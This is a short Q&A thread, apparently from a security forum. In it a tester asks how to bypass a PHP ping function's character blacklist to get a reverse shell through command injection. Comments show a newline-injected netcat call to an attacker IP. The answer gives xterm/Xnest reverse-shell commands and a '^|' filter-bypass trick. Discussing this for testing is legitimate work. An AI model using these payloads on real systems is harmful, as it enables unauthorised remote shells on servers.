I am testing a PHP webapp that provides a ping function. I have tried different command injection methods and found that it accepts only %0a with simple command injection like ls or id

However the code is filtering many characters such as | & ; ( " / > ’ which are required to execute a reverse shell. Like nc -e /bin/bash.

Any suggestions on how to bypass this filter?

  • Have you tried to encode the characters into bytes and passing these? As %0a is accepted, other characters may be accepted if encoded the same way. It's hard to provide an accurate answer without being able to do any fuzzing or looking at input/output.
    – GxTruth
    Jul 9, 2018 at 11:24
  • @sixtiethocean could give us the exact characters and special characters that are filtered by the application? Jul 9, 2018 at 12:03
  • Filtered characters: | & ; ( " / > ' Working characters: . - , [ { Jul 9, 2018 at 12:07
  • $IP%0a nc -nv $IP 1234 -----> command injection is working but it result in just nc chat shell Jul 9, 2018 at 12:09
  • 1
    @sixtiethocean this is not a penetration test so please do not keep adding that tag to the question
    – schroeder
    Jul 9, 2018 at 12:23

1 Answer 1


Using xterm

One of the simplest forms of reverse shells is an xterm session. The following command should be run on the target. It will try to connect back to your system (e.g. on TCP port 6001.

xterm -display

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to your system (command also run on your system):

xhost +targetip

Consider blacklisting as a failure to be secure.

Blacklisting of characters is not secure and you should consider bypassing the list itself.

By example: ^| is not | but it does the job.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .